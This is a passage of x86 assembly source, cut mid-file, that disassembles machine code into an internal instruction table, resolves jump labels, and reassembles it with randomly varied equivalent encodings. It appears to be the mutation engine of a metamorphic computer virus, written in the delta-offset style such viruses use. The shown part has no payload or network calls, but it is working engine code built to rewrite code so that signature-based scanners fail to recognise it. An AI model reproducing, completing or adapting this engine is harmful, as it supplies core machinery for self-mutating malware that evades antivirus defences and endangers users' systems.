0E9h mov [edi], eax mov eax, esi mov ebx, edx call InsertLabel mov [edi+1], edx add edi, 10h mov ecx, [ebp+NumberOfLabelsPost] or ecx, ecx jz @@FinDeTraduccion mov ebx, [ebp+FutureLabelTable] @@LoopCheckOtherFutureLabel: mov eax, [ebx] cmp eax, esi jz @@OtherFutureLabelFound @@LoopSearchOtherFutureLabel: add ebx, 8 sub ecx, 1 or ecx, ecx jnz @@LoopCheckOtherFutureLabel mov ecx, [ebp+NumberOfLabelsPost] mov ebx, [ebp+FutureLabelTable] @@LoopCheckOtherFutureLabel2: mov eax, [ebx] or eax, eax jz @@LoopSearchOtherFutureLabel2 sub eax, ebp sub eax, [ebp+_CODE_SECTION] add eax, [ebp+PathMarksTable] mov eax, [eax] and eax, 0FFh cmp eax, 1 jz @@ReleaseLabelsInThatAddress @@LoopSearchOtherFutureLabel2: add ebx, 8 sub ecx, 1 or ecx, ecx jnz @@LoopCheckOtherFutureLabel2 jmp @@GetEIPFromFutureLabelList @@ReleaseLabelsInThatAddress: push ebx push ecx mov esi, [ebx] call ReleaseFutureLabels pop ecx pop ebx jmp @@LoopSearchOtherFutureLabel2 @@OtherFutureLabelFound: mov eax, [ebx+4] mov [eax+1], edx xor eax, eax mov [ebx], eax jmp @@LoopSearchOtherFutureLabel @@CheckIfFutureLabelArrived: mov eax, [edi+0Bh] and eax, 0FFFFFF00h mov [edi+0Bh], eax call ReleaseFutureLabels @@DefineInstr: mov [edi+0Ch], esi mov ebx, esi sub ebx, [ebp+_CODE_SECTION] sub ebx, ebp add ebx, [ebp+PathMarksTable] mov eax, [ebx] or eax, 1 mov [ebx], eax mov eax, [esi] and eax, 0FFh cmp eax, 3Fh jbe @@GenericOpcode cmp eax, 47h jbe @@Op_INC cmp eax, 4Fh jbe @@Op_DEC cmp eax, 5Fh jbe @@Op_PUSHPOP cmp eax, 68h jz @@Op_PUSHValue cmp eax, 6Ah jz @@Op_PUSHSignedValue cmp eax, 70h jb @@DefineInstr_00 cmp eax, 7Fh jbe @@Jcc @@DefineInstr_00: cmp eax, 80h jb @@DefineInstr_01 cmp eax, 83h jbe @@GenericOpcode2 @@DefineInstr_01: cmp eax, 84h jz @@Gen_8b_MemReg cmp eax, 85h jz @@Gen_32b_MemReg cmp eax, 8Bh jbe @@GenericOpcode cmp eax, 8Dh jz @@LEA cmp eax, 8Fh jz @@POPMem cmp eax, 90h jz @@NOP cmp eax, 0A8h jz @@TESTALValue cmp eax, 0A9h jz @@TESTEAXValue cmp eax, 0B0h jb @@DefineInstr_02 cmp eax, 0B7h jbe @@MOVReg8Value cmp eax, 0BFh jbe @@MOVRegValue @@DefineInstr_02: cmp eax, 0C0h jz @@BitShifting8 cmp eax, 0C1h jz @@BitShifting32 cmp eax, 0C3h jz @@RET cmp eax, 0C6h jz @@MOVMem8Value cmp eax, 0C7h jz @@MOVMem32Value cmp eax, 0D0h jz @@BitShifting8 cmp eax, 0D1h jz @@BitShifting32 cmp eax, 0E8h jz @@CALL cmp eax, 0E9h jz @@JMP cmp eax, 0EBh jz @@JMP8 cmp eax, 0F5h jz @@NOP cmp eax, 0F6h jz @@SomeNotVeryCommon8 cmp eax, 0F7h jz @@SomeNotVeryCommon32 cmp eax, 0FDh jbe @@NOP cmp eax, 0FEh jz @@INCDECMem8 cmp eax, 0FFh jz @@INCDECPUSHMem32 mov eax, 0FFh @@SetOneByteInstruction: mov [edi], eax add edi, 10h inc esi @@ContinueDissasembly: jmp @@LoopTrace @@GenericOpcode: and eax, 7 cmp eax, 3 jbe @@Gen_NormalOpcode cmp eax, 4 jz @@Gen_UsingAL cmp eax, 5 jz @@Gen_UsingEAX mov eax, [esi] and eax, 0FFh cmp eax, 0Fh jz @@Opcode0F jmp @@SetOneByteInstruction @@Gen_NormalOpcode: or eax, eax jz @@Gen_8b_MemReg cmp eax, 1 jz @@Gen_32b_MemReg cmp eax, 2 jz @@Gen_8b_RegMem @@Gen_32b_RegMem: mov eax, [esi+1] and eax, 0C0h cmp eax, 0C0h jz @@Gen_32b_ReglReg mov eax, [esi] and eax, 0FFh cmp eax, 8Bh jnz @@Gen_32b_RegMem_0 mov eax, 40h+2 jmp @@Gen_GenMem @@Gen_32b_RegMem_0: and eax, 38h add eax, 2 @@Gen_GenMem: mov edx, [edi] and edx, 0FFFFFF00h and eax, 0FFh add eax, edx mov [edi], eax mov eax, [esi+1] and eax, 38h shr eax, 3 mov [edi+7], eax mov edx, esi add edx, 1 call DecodeMemoryConstruction add esi, ebx add esi, 1 jmp @@NextInstruction @@Gen_32b_MemReg: mov eax, [esi+1] and eax, 0C0h cmp eax, 0C0h jz @@Gen_32b_lRegReg mov eax, [esi] and eax, 0FFh cmp eax, 85h jnz @@Gen_32b_MemReg_0 mov eax, 48h+3 jmp @@Gen_GenMem @@Gen_32b_MemReg_0: @@Gen_32b_MemReg_1: cmp eax, 89h jnz @@Gen_32b_MemReg_2 mov eax, 40h+3 jmp @@Gen_GenMem @@Gen_32b_MemReg_2: and eax, 38h add eax, 3 jmp @@Gen_GenMem @@Gen_32b_ReglReg: call GenOp_SetRegReg @@Gen_GenReglReg: mov eax, [esi+1] and eax, 7 mov [edi+1], eax mov eax, [esi+1] and eax, 38h shr eax, 3 mov [edi+7], eax add esi, 2 jmp @@NextInstruction @@Gen_32b_lRegReg: call GenOp_SetRegReg @@Gen_GenlRegReg: mov eax, [esi+1] and eax, 7 mov [edi+7], eax mov eax, [esi+1] and eax, 38h shr eax, 3 mov [edi+1], eax add esi, 2 jmp @@NextInstruction @@Gen_8b_RegMem: mov eax, [esi+1] and eax, 0C0h cmp eax, 0C0h jz @@Gen_8b_ReglReg mov eax, [esi] and eax, 0FFh cmp eax, 8Ah jnz @@Gen_8b_RegMem_0 mov eax, 40h+82h jmp @@Gen_GenMem @@Gen_8b_RegMem_0: and eax, 38h add eax, 82h jmp @@Gen_GenMem @@Gen_8b_MemReg: mov eax, [esi+1] and eax, 0C0h cmp eax, 0C0h jz @@Gen_8b_lRegReg mov eax, [esi] and eax, 0FFh cmp eax, 84h jnz @@Gen_8b_MemReg_0 mov eax, 48h+83h jmp @@Gen_GenMem @@Gen_8b_MemReg_0: @@Gen_8b_MemReg_1: cmp eax, 88h jnz @@Gen_8b_MemReg_2 mov eax, 40h+83h jmp @@Gen_GenMem @@Gen_8b_MemReg_2: and eax, 38h add eax, 83h jmp @@Gen_GenMem @@Gen_8b_lRegReg: call GenOp_SetRegReg mov eax, [edi] add eax, 80h mov [edi], eax jmp @@Gen_GenlRegReg @@Gen_8b_ReglReg: call GenOp_SetRegReg mov eax, [edi] add eax, 80h mov [edi], eax jmp @@Gen_GenReglReg @@Gen_UsingAL: mov eax, [esi] and eax, 38h add eax, 80h mov edx, [edi] and edx, 0FFFFFF00h add eax, edx mov [edi], eax xor eax, eax mov eax, [esi+1] and eax, 0FFh cmp eax, 7Fh jbe @@Gen_UsingAL_01 add eax, 0FFFFFF00h @@Gen_UsingAL_01: add esi, 2 jmp @@Gen_SetValue @@Gen_UsingEAX: mov eax, [esi] and eax, 38h mov edx, [edi] and edx, 0FFFFFF00h add eax, edx mov [edi], eax mov eax, [esi+1] add esi, 5 @@Gen_SetValue: mov [edi+7], eax xor eax, eax mov [edi+1], eax jmp @@NextInstruction @@Op_INC: and eax, 7 mov [edi+1], eax xor eax, eax jmp @@Op_GenINCDEC @@Op_DEC: and eax, 7 mov [edi+1], eax mov eax, 28h @@Op_GenINCDEC: mov edx, [edi] and edx, 0FFFFFF00h and eax, 0FFh add eax, edx mov [edi], eax mov eax, 1 mov [edi+7], eax add esi, 1 jmp @@NextInstruction @@Op_PUSHPOP: and eax, 7 mov [edi+1], eax mov eax, [esi] and eax, 58h mov edx, [edi] and edx, 0FFFFFF00h add eax, edx mov [edi], eax add esi, 1 jmp @@NextInstruction @@Op_PUSHValue: mov [edi], eax mov eax, [esi+1] mov [edi+7], eax add esi, 5 jmp @@NextInstruction @@Op_PUSHSignedValue: mov eax, 68h mov [edi], eax mov eax, [esi+1] and eax, 0FFh cmp eax, 7Fh jbe @@Op_PUSHSignedValue_01 add eax, 0FFFFFF00h @@Op_PUSHSignedValue_01: mov [edi+7], eax add esi, 2 jmp @@NextInstruction @@GenericOpcode2: and eax, 1 or eax, eax jz @@Gen2_8b @@Gen2_32b: mov eax, [esi+1] and eax, 38h mov edx, [edi] and edx, 0FFFFFF00h add eax, edx mov [edi], eax mov eax, [esi] and eax, 2 or eax, eax jnz @@Gen2_Gen_Signed @@Gen32Value: mov eax, [esi+1] and eax, 0C0h cmp eax, 0C0h jz @@Gen2_32b_Register mov eax, [edi] add eax, 4 mov [edi], eax mov edx, esi add edx, 1 call DecodeMemoryConstruction add esi, ebx mov eax, [esi+1] sub esi, ebx add esi, 3 jmp @@Gen2_Gen_Memory @@Gen2_32b_Register: mov eax, [esi+2] mov [edi+7], eax mov eax, [esi+1] add esi, 6 jmp @@Gen2_Gen_Register @@Gen2_8b: mov eax, [esi+1] and eax, 38h add eax, 80h mov edx, [edi] and edx, 0FFFFFF00h add eax, edx mov [edi], eax @@Gen2_Gen_Signed: @@Gen8Value: mov eax, [esi+1] and eax, 0C0h cmp eax, 0C0h jz @@Gen2_8b_Register mov eax, [edi] add eax, 4 mov [edi], eax mov edx, esi add edx, 1 call DecodeMemoryConstruction xor eax, eax add esi, ebx mov eax, [esi+1] sub esi, ebx and eax, 0FFh cmp eax, 7Fh jbe @@Gen8Value_01 add eax, 0FFFFFF00h @@Gen8Value_01: @@Gen2_Gen_Memory: mov [edi+7], eax add esi, ebx add esi, 2 jmp @@NextInstruction @@Gen2_8b_Register: mov eax, [esi+2] and eax, 0FFh cmp eax, 7Fh jbe @@Gen2_8b_Register_01 add eax, 0FFFFFF00h @@Gen2_8b_Register_01: mov [edi+7], eax mov eax, [esi+1] add esi, 3 @@Gen2_Gen_Register: and eax, 7 mov edx, [edi+1] and edx, 0FFFFFF00h add eax, edx mov [edi+1], eax jmp @@NextInstruction @@LEA: mov eax, 0FCh mov [edi], eax mov edx, esi add edx, 1 call DecodeMemoryConstruction mov eax, [esi+1] and eax, 38h shr eax, 3 mov [edi+7], eax add esi, ebx add esi, 1 jmp @@NextInstruction @@POPMem: mov eax, [esi+1] and eax, 0C0h cmp eax, 0C0h jz @@POPMem_butReg mov eax, 59h mov [edi], eax mov edx, esi add edx, 1 call DecodeMemoryConstruction add esi, ebx add esi, 1 jmp @@NextInstruction @@POPMem_butReg: mov eax, [esi+1] and eax, 7 mov [edi+1], eax mov eax, 58h mov edx, [edi] and edx, 0FFFFFF00h add eax, edx mov [edi], eax add esi, 2 jmp @@NextInstruction @@NOP: mov eax, 0FFh mov [edi], eax add esi, 1 jmp @@NextInstruction @@TESTALValue: mov eax, [esi+1] and eax, 0FFh mov ecx, eax mov eax, 0C8h add esi, 2 @@TESTxAxValue: mov [edi], eax xor eax, eax mov [edi+1], eax mov [edi+7], ecx jmp @@NextInstruction @@TESTEAXValue: mov ecx, [esi+1] mov eax, 48h add esi, 5 jmp @@TESTxAxValue @@MOVRegValue: mov eax, 40h mov [edi], eax mov ecx, [esi+1] mov eax, [esi] add esi, 5 @@MOVRegValue_Common: and eax, 7 mov [edi+1], eax mov [edi+7], ecx jmp @@NextInstruction @@MOVReg8Value: mov eax, 0C0h mov [edi], eax mov eax, [esi+1] and eax, 0FFh mov ecx, eax mov eax, [esi] add esi, 2 jmp @@MOVRegValue_Common @@BitShifting32: mov eax, 0F0h @@BitShifting_Common: mov [edi], eax mov eax, [esi+1] and eax, 38h mov edx, [edi+8] and edx, 0FFFFFF00h add eax, edx mov [edi+8], eax mov eax, [esi+1] and eax, 0C0h cmp eax, 0C0h jz @@BS32_Reg mov eax, [edi] add eax, 1 mov [edi], eax mov edx, esi add edx, 1 call DecodeMemoryConstruction @@BS32_Common: mov eax, [esi] and eax, 0FFh cmp eax, 0D0h jb @@BS32_GetNumber mov eax, 1 sub esi, 1 jmp @@BS32_SetNumber @@BS32_GetNumber: add esi, ebx mov eax, [esi+1] sub esi, ebx @@BS32_SetNumber: and eax, 1Fh mov edx, [edi+7] and edx, 0FFFFFF00h add eax, edx mov [edi+7], eax add esi, ebx add esi, 2 jmp @@NextInstruction @@BS32_Reg: mov eax, [esi+1] and eax, 7 mov [edi+1], eax mov ebx, 1 jmp @@BS32_Common @@BitShifting8: mov eax, 0F2h jmp @@BitShifting_Common @@MOVMem8Value: mov eax, 0C4h mov [edi], eax mov eax, [esi+1] and eax, 0C0h cmp eax, 0C0h jz @@MOVMem8_RegValue mov edx, esi add edx, 1 call DecodeMemoryConstruction add esi, ebx add esi, 1 @@MOVMem8Value_Common: mov eax, [esi] and eax, 0FFh cmp eax, 7Fh jbe @@MOVMem8Value_01 add eax, 0FFFFFF00h @@MOVMem8Value_01: mov [edi+7], eax add esi, 1 jmp @@NextInstruction @@MOVMem8_RegValue: mov eax, 0C0h mov [edi], eax mov eax, [esi+1] and eax, 7 mov [edi+1], eax add esi, 2 jmp @@MOVMem8Value_Common @@MOVMem32Value: mov eax, 44h mov [edi], eax mov eax, [esi+1] and eax, 0C0h cmp eax, 0C0h jz @@MOVMem32_RegValue mov edx, esi add edx, 1 call DecodeMemoryConstruction add esi, ebx add esi, 1 mov eax, [esi] mov [edi+7], eax add esi, 4 jmp @@NextInstruction @@MOVMem32_RegValue: mov eax, 40h mov [edi], eax mov eax, [esi+1] and eax, 7 mov [edi+1], eax mov eax, [esi+2] mov [edi+7], eax add esi, 6 jmp @@NextInstruction @@SomeNotVeryCommon8: mov eax, [esi+1] and eax, 38h or eax, eax jz @@TEST8Value shr eax, 1 add eax, 0DAh @@SNVC_Gen: mov [edi], eax mov eax, [esi+1] and eax, 0C0h cmp eax, 0C0h jz @@NOTNEGReg8 mov eax, [edi] add eax, 1 mov [edi], eax mov edx, esi add edx, 1 call DecodeMemoryConstruction add esi, ebx add esi, 1 jmp @@NextInstruction @@NOTNEGReg8: mov eax, [esi+1] and eax, 7 mov edx, [edi+1] and edx, 0FFFFFF00h add eax, edx mov [edi+1], eax add esi, 2 jmp @@NextInstruction @@SomeNotVeryCommon32: mov eax, [esi+1] and eax, 38h or eax, eax jz @@TEST32Value shr eax, 1 add eax, 0D8h jmp @@SNVC_Gen @@TEST8Value: mov eax, 0C8h mov [edi], eax jmp @@Gen8Value @@TEST32Value: mov eax, 48h mov [edi], eax jmp @@Gen32Value @@INCDECMem8: mov eax, [esi+1] and eax, 38h or eax, eax jz @@INCMem8 @@DECMem8: mov eax, 0ACh @@INCDECMem8_Next: mov [edi], eax mov eax, [esi+1] and eax, 0C0h cmp eax, 0C0h jz @@INCDECReg8 @@INCDECPUSH_Gen: mov edx, esi add edx, 1 call DecodeMemoryConstruction add esi, ebx add esi, 1 mov eax, 1 mov [edi+7], eax mov eax, [edi] and eax, 0FFh cmp eax, 0EBh jnz @@NextInstruction add edi, 10h jmp @@GetEIPFromFutureLabelList @@INCDECReg8: mov eax, [edi] sub eax, 4 mov [edi], eax mov eax, [esi+1] and eax, 7 mov [edi+1], eax mov eax, 1 mov [edi+7], eax add esi, 2 jmp @@NextInstruction @@INCMem8: mov eax, 84h jmp @@INCDECMem8_Next @@INCDECPUSHMem32: mov eax, [esi+1] and eax, 38h or eax, eax jz @@INCMem32 cmp eax, 08h jz @@DECMem32 cmp eax, 10h jz @@CALLMem32 cmp eax, 20h jz @@JMPMem32 @@PUSHMem32: mov eax, [esi+1] and eax, 0C0h cmp eax, 0C0h jz @@PUSHMem32_Reg mov eax, 51h mov [edi], eax jmp @@INCDECPUSH_Gen @@PUSHMem32_Reg: mov eax, 50h @@INCDECPUSH_GenMem32_Reg: mov [edi], eax mov eax, [esi+1] and eax, 7 mov [edi+1], eax mov eax, 1 mov [edi+7], eax add esi, 2 mov eax, [edi] and eax, 0FFh cmp eax, 0EDh jnz @@NextInstruction add edi, 10h jmp @@GetEIPFromFutureLabelList @@INCMem32: mov eax, [esi+1] and eax, 0C0h cmp eax, 0C0h jz @@INCReg32 mov eax, 4 jmp @@INCDECMem8_Next @@INCReg32: xor eax, eax jmp @@INCDECPUSH_GenMem32_Reg @@DECMem32: mov eax, [esi+1] and eax, 0C0h cmp eax, 0C0h jz @@DECReg32 mov eax, 2Ch jmp @@INCDECMem8_Next @@DECReg32: mov eax, 28h jmp @@INCDECPUSH_GenMem32_Reg @@CALLMem32: mov eax, [esi+1] and eax, 0C0h cmp eax, 0C0h jz @@CALLMem32_Reg mov eax, 0EAh mov [edi], eax jmp @@INCDECPUSH_Gen @@CALLMem32_Reg: mov eax, 0ECh jmp @@INCDECPUSH_GenMem32_Reg @@JMPMem32: mov eax, [esi+1] and eax, 0C0h cmp eax, 0C0h jz @@JMPMem32_Reg mov eax, 0EBh mov [edi], eax jmp @@INCDECPUSH_Gen @@JMPMem32_Reg: mov eax, 0EDh jmp @@INCDECPUSH_GenMem32_Reg @@NextInstruction: add edi, 10h jmp @@ContinueDissasembly @@RET: mov eax, 0FEh mov [edi], eax inc esi add edi, 10h jmp @@GetEIPFromFutureLabelList @@JMP8: mov eax, [esi+1] and eax, 0FFh cmp eax, 7Fh jbe @@JMP8_01 add eax, 0FFFFFF00h @@JMP8_01: add eax, 2 add eax, esi jmp @@JMP_Next01 @@JMP: mov eax, [esi+1] add eax, 5 add eax, esi @@JMP_Next01: mov ebx, [ebp+InstructionTable] cmp ebx, edi jz @@NoInstructions @@FindDestinyInTable: cmp [ebx+0Ch], eax jz @@SetLabel add ebx, 10h cmp ebx, edi jnz @@FindDestinyInTable @@NoInstructions: mov ecx, 0FFh mov [edi], ecx add edi, 10h mov esi, eax jmp @@LoopTrace @@SetLabel: mov ecx, 0E9h mov [edi], ecx mov edx, esi mov [edi+0Ch], edx add edi, 10h push eax mov eax, [esi] and eax, 0FFh mov ecx, eax pop eax cmp ecx, 0EBh jz @@Add2ToEIP add esi, 3 @@Add2ToEIP: add esi, 2 call InsertLabel mov [edi+1-10h], edx @@GetEIPFromFutureLabelList: mov ecx, [ebp+NumberOfLabelsPost] or ecx, ecx jz @@FinDeTraduccion mov ebx, [ebp+FutureLabelTable] @@LoopCheckForNewEIP: mov eax, [ebx] or eax, eax jnz @@GetNewEIP add ebx, 8 sub ecx, 1 or ecx, ecx jnz @@LoopCheckForNewEIP jmp @@FinDeTraduccion @@GetNewEIP: mov esi, [ebx] jmp @@LoopTrace @@Opcode0F: mov eax, [esi+1] and eax, 0FFh cmp eax, 80h jb @@Op0F_Next00 cmp eax, 8Fh jbe @@Jcc32 @@Op0F_Next00: cmp eax, 0B6h jz @@Op0F_MOVZX add esi, 2 jmp @@DefineInstr @@Op0F_MOVZX: mov eax, 0F8h mov [edi], eax mov eax, [esi+2] and eax, 38h shr eax, 3 mov [edi+7], eax mov edx, esi add edx, 2 call DecodeMemoryConstruction add esi, ebx add esi, 2 jmp @@NextInstruction @@Jcc32: mov eax, [esi+2] add eax, esi add eax, 6 jmp @@ContinueWithBranchInstr @@CALL: mov eax, [esi+1] add eax, esi add eax, 5 jmp @@ContinueWithBranchInstr @@Jcc: mov eax, [esi+1] and eax, 0FFh cmp eax, 7Fh jbe @@Jcc_01 add eax, 0FFFFFF00h @@Jcc_01: add eax, esi add eax, 2 @@ContinueWithBranchInstr: mov ecx, eax call SetInFutureLabelList push eax mov eax, [esi] and eax, 0FFh cmp eax, 0Fh jz @@Jcc_Jcc32 cmp eax, 0E8h jz @@Jcc_AddEIP5 jmp @@Jcc_AddEIP2 @@Jcc_Jcc32: mov eax, [esi+1] and eax, 0FFh sub eax, 10h @@Jcc_AddEIP6: inc esi @@Jcc_AddEIP5: add esi, 3 @@Jcc_AddEIP2: add esi, 2 mov edx, [edi] and edx, 0FFFFFF00h and eax, 0FFh add eax, edx mov [edi], eax pop eax or eax, eax jz @@NextInstruction call InsertLabel mov [edi+1], edx jmp @@NextInstruction @@FinDeTraduccion: ret DisasmCode endp SetInFutureLabelList proc mov ebx, [ebp+InstructionTable] cmp ebx, edi jz @@SetFutureLabel @@LoopCheckLabelForJcc: cmp [ebx+0Ch], eax jz @@Jcc_CodeDefined add ebx, 10h cmp ebx, edi jnz @@LoopCheckLabelForJcc @@SetFutureLabel: mov edx, [ebp+NumberOfLabelsPost] shl edx, 3 add edx, [ebp+FutureLabelTable] mov [edx], eax mov [edx+4], edi mov eax, [ebp+NumberOfLabelsPost] add eax, 1 mov [ebp+NumberOfLabelsPost], eax xor eax, eax @@Jcc_CodeDefined: ret SetInFutureLabelList endp ReleaseFutureLabels proc mov ecx, [ebp+NumberOfLabelsPost] or ecx, ecx jz @@DefineInstr mov ebx, [ebp+FutureLabelTable] @@LoopCheckFutureLabel: cmp [ebx], esi jz @@FutureLabelFound @@OtherFutureLabel: add ebx, 8 dec ecx or ecx, ecx jnz @@LoopCheckFutureLabel @@DefineInstr: ret @@FutureLabelFound: push ecx push ebx mov eax, esi mov ebx, edi call InsertLabel pop ebx mov eax, [ebx+4] mov [eax+1], edx xor ecx, ecx mov [ebx], ecx pop ecx jmp @@OtherFutureLabel ReleaseFutureLabels endp InsertLabel proc mov edx, [ebp+LabelTable] mov ecx, [ebp+NumberOfLabels] or ecx, ecx jz @@Jcc_InsertLabel @@Jcc_LoopLabel: cmp [edx], eax jz @@Jcc_LabelStillExists add edx, 8 dec ecx or ecx, ecx jnz @@Jcc_LoopLabel @@Jcc_InsertLabel: mov [edx], eax mov [edx+4], ebx push eax mov eax, [ebx+0Bh] and eax, 0FFFFFF00h add eax, 1 mov [ebx+0Bh], eax mov eax, [ebp+NumberOfLabels] add eax, 1 mov [ebp+NumberOfLabels], eax pop eax @@Jcc_LabelStillExists: ret InsertLabel endp GenOp_SetRegReg proc push edx mov edx, [edi] and edx, 0FFFFFF00h mov eax, [esi] and eax, 0FFh cmp eax, 3Fh jbe @@SRR_01 cmp eax, 85h jbe @@SRR_02 cmp eax, 8Bh jbe @@SRR_04 @@SRR_01: and eax, 38h add eax, 1 @@SRR_Store: add eax, edx mov [edi], eax pop edx ret @@SRR_02: mov eax, 48h+1 jmp @@SRR_Store @@SRR_04: mov eax, 40h+1 jmp @@SRR_Store GenOp_SetRegReg endp ;--------------------------------------------------------------------------------------- AssembleCode proc xor eax, eax mov [ebp+NumberOfJumpRelocations], eax mov esi, [ebp+InstructionTable] mov edi, [ebp+NewAssembledCode] mov ecx, [ebp+NumberOfLabels] mov edx, [ebp+LabelTable] @@LoopSetLabel: mov ebx, [edx+4] mov eax, [ebx+0Bh] or eax, 01h mov [ebx+0Bh], eax add edx, 8 dec ecx or ecx, ecx jnz @@LoopSetLabel @@LoopAssemble_01: mov eax, [esi+0Bh] and eax, 0FFh cmp eax, 1 jnz @@Assemble_Instruction mov eax, [ebp+NumberOfLabels] mov edx, [ebp+LabelTable] @@LoopCheckLabel: cmp [edx+4], esi jnz @@CheckNextLabel mov [edx], edi @@CheckNextLabel: add edx, 8 dec eax or eax, eax jnz @@LoopCheckLabel @@Assemble_Instruction: call AssembleInstruction add esi, 10h mov eax, [ebp+AddressOfLastInstruction] cmp esi, eax jb @@LoopAssemble_01 mov [ebp+AddressOfLastInstruction], edi mov eax, edi sub eax, [ebp+NewAssembledCode] mov [ebp+SizeOfNewCode], eax add eax, 20h mov ebx, 0F000h @@LoopGetRoundedSize: add ebx, 1000h cmp ebx, eax jb @@LoopGetRoundedSize mov [ebp+RoundedSizeOfNewCode], ebx mov eax, 4000h @@LoopGetSizeP2: shl eax, 1 cmp eax, [ebp+SizeOfNewCode] jb @@LoopGetSizeP2 mov [ebp+SizeOfNewCodeP2], eax mov esi, [ebp+JumpRelocationTable] mov ecx, [ebp+NumberOfJumpRelocations] @@LoopReloc01: mov edi, [esi] mov eax, [esi+4] mov eax, [eax] mov edx, edi add edx, 5 sub eax, edx mov ebx, [edi] and ebx, 0FFh cmp ebx, 7Fh jbe @@Short cmp ebx, 0EBh jz @@Short mov [edi+1], eax @@Next: sub ecx, 8 add esi, 8 or ecx, ecx jnz @@LoopReloc01 ret @@Short: add eax, 3 mov [edi+1], al jmp @@Next AssembleCode endp Asm_AddToRelocTable proc mov ebx, [ebp+JumpRelocationTable] mov ecx, [ebp+NumberOfJumpRelocations] add ebx, ecx mov [ebx], edi mov eax, [esi+1] mov [ebx+4], eax add ecx, 8 mov [ebp+NumberOfJumpRelocations], ecx ret Asm_AddToRelocTable endp Asm_MakeMemoryAddress proc mov ecx, [esi+1] and ecx, 0FFh mov eax, [esi+2] and eax, 0FFh cmp eax, ecx jae @@Next00 mov edx, eax jmp @@Next01 @@Next00: mov edx, ecx mov ecx, eax @@Next01: cmp edx, 8 jz @@NoIndex1 cmp ecx, 8 jz @@Only1Index cmp ecx, 7 ja @@NoExchange call Random and eax, 1 jz @@NoExchange mov eax, ecx mov ecx, edx mov edx, eax @@NoExchange: mov eax, [esi+3] or eax, eax jz @@2Index_0 cmp eax, 7Fh jbe @@2Index_Byte cmp eax, 0FFFFFF80h jae @@2Index_Byte @@2Index_Dword: mov eax, 84h @@2Index_Dword_Subr: push eax mov eax, ecx and eax, 0C0h shl ecx, 3 and ecx, 38h add eax, ecx add edx, eax pop eax jmp @@SetMemory01 @@2Index_Byte: call Random and eax, 1 jz @@2Index_Dword mov eax, 44h call @@2Index_Dword_Subr sub edi, 3 ret @@2Index_0: call Random and eax, 1 jz @@2Index_Byte cmp edx, 5 jz @@2Index_Byte mov eax, 04h call @@2Index_Dword_Subr sub edi, 4 ret @@Only1Index: mov eax, [esi+3] or eax, eax jz @@Only1Index_0 cmp eax, 7Fh jbe @@Only1Index_Byte cmp eax, 0FFFFFF80h jae @@Only1Index_Byte @@Only1Index_Dword: call Random and eax, 3 or eax, eax jz @@Only1Index_Dword cmp eax, 1 jz @@Only1Index_Dword_01 cmp eax, 2 jz @@Only1Index_Dword_02 @@Only1Index_Dword_03: mov eax, 84h add edx, 20h jmp @@SetMemory01 @@Only1Index_Dword_02: mov eax, 04h shl edx, 3 add edx, 5 jmp @@SetMemory01 @@Only1Index_Dword_01: add edx, 80h add edx, ebx mov [edi], edx mov eax, [esi+3] mov [edi+1], eax add edi, 5 ret @@Only1Index_Byte: call Random and eax, 1 jz @@Only1Index_Dword call Random and eax, 1 jz @@Only1Index_Byte_01 @@Only1Index_Byte_02: mov eax, 44h add eax, ebx mov [edi], eax add edx, 20h mov [edi+1], edx mov eax, [esi+3] mov [edi+2], eax add edi, 3 ret @@Only1Index_Byte_01: add edx, 40h add edx, ebx mov [edi], edx mov eax, [esi+3] mov [edi+1], eax add edi, 2 ret @@Only1Index_0: call Random and eax, 1 jz @@Only1Index_Byte cmp edx, 5 jz @@Only1Index_Byte add edx, ebx mov [edi], edx add edi, 1 ret @@NoIndex1: cmp ecx, 8 jz @@DirectAddress mov edx, ecx and edx, 0C0h and ecx, 7 shl ecx, 3 add edx, ecx add edx, 5 mov eax, 4 @@SetMemory01: add eax, ebx mov [edi], eax mov [edi+1], edx mov eax, [esi+3] mov [edi+2], eax add edi, 6 ret @@DirectAddress: mov eax, 05h add eax, ebx mov [edi], eax mov eax, [esi+3] mov [edi+1], eax add edi, 5 ret Asm_MakeMemoryAddress endp AssembleInstruction proc mov [esi+0Ch], edi mov eax, [esi] and eax, 0FFh cmp eax, 4Ch ja @@Assemble_Next00 mov ebx, eax and ebx, 0F8h and eax, 7 or eax, eax jz @@Assemble_OPRegImm cmp eax, 1 jz @@Assemble_OPRegReg cmp eax, 2 jz @@Assemble_OPRegMem cmp eax, 3 jz @@Assemble_OPMemReg @@Assemble_OPMemImm: cmp ebx, 38h jbe @@Assemble_OPMemImm_Normal cmp ebx, 40h jz @@Assemble_MOVMemImm @@Assemble_TESTMemImm: xor ebx, ebx mov eax, 0F7h jmp @@Assemble_OPMemImm_Normal_00 @@Assemble_MOVMemImm: xor ebx, ebx mov eax, 0C7h jmp @@Assemble_OPMemImm_Normal_00 @@Assemble_OPMemImm_Normal: mov eax, [esi+7] cmp eax, 7Fh jbe @@Assemble_OPMemImm_Normal_Byte cmp eax, 0FFFFFF80h jae @@Assemble_OPMemImm_Normal_Byte @@Assemble_OPMemImm_Normal_Dword: mov eax, 81h @@Assemble_OPMemImm_Normal_00: mov [edi], eax add edi, 1 call Asm_MakeMemoryAddress mov eax, [esi+7] mov [edi], eax add edi, 4 ret @@Assemble_OPMemImm_Normal_Byte: call Random and eax, 1 jz @@Assemble_OPMemImm_Normal_Dword mov eax, 83h mov [edi], eax add edi, 1 call Asm_MakeMemoryAddress mov eax, [esi+7] mov [edi], eax add edi, 1 ret @@Assemble_OPRegImm: cmp ebx, 38h jbe @@Assemble_OPRegImm_Normal cmp ebx, 40h jz @@Assemble_MOVRegImm @@Assemble_TESTRegImm: mov eax, [esi+1] and eax, 7 or eax, eax jnz @@Assemble_TESTRegImm_NotEAX call Random and eax, 1 jz @@Assemble_TESTRegImm_NotEAX mov eax, 0A9h jmp @@Assemble_OPRegImm_OneByteOpcode @@Assemble_TESTRegImm_NotEAX: mov eax, 0F7h xor ebx, ebx jmp @@Assemble_OPRegImm_Normal_01 @@Assemble_MOVRegImm: call Random and eax, 1 jz @@Assemble_MOVRegImm_OneByteOpcode mov eax, 0C7h xor ebx, ebx jmp @@Assemble_OPRegImm_Normal_01 @@Assemble_MOVRegImm_OneByteOpcode: mov eax, [esi+1] add eax, 0B8h jmp @@Assemble_OPRegImm_OneByteOpcode @@Assemble_OPRegImm_Normal: mov eax, [esi+1] and eax, 7 or eax, eax jnz @@Assemble_OPRegImm_Normal_00 call Random and eax, 1 jz @@Assemble_OPRegImm_Normal_00 mov eax, ebx add eax, 5 @@Assemble_OPRegImm_OneByteOpcode: mov [edi], eax mov eax, [esi+7] mov [edi+1], eax add edi, 5 ret @@Assemble_OPRegImm_Normal_00: mov eax, 81h 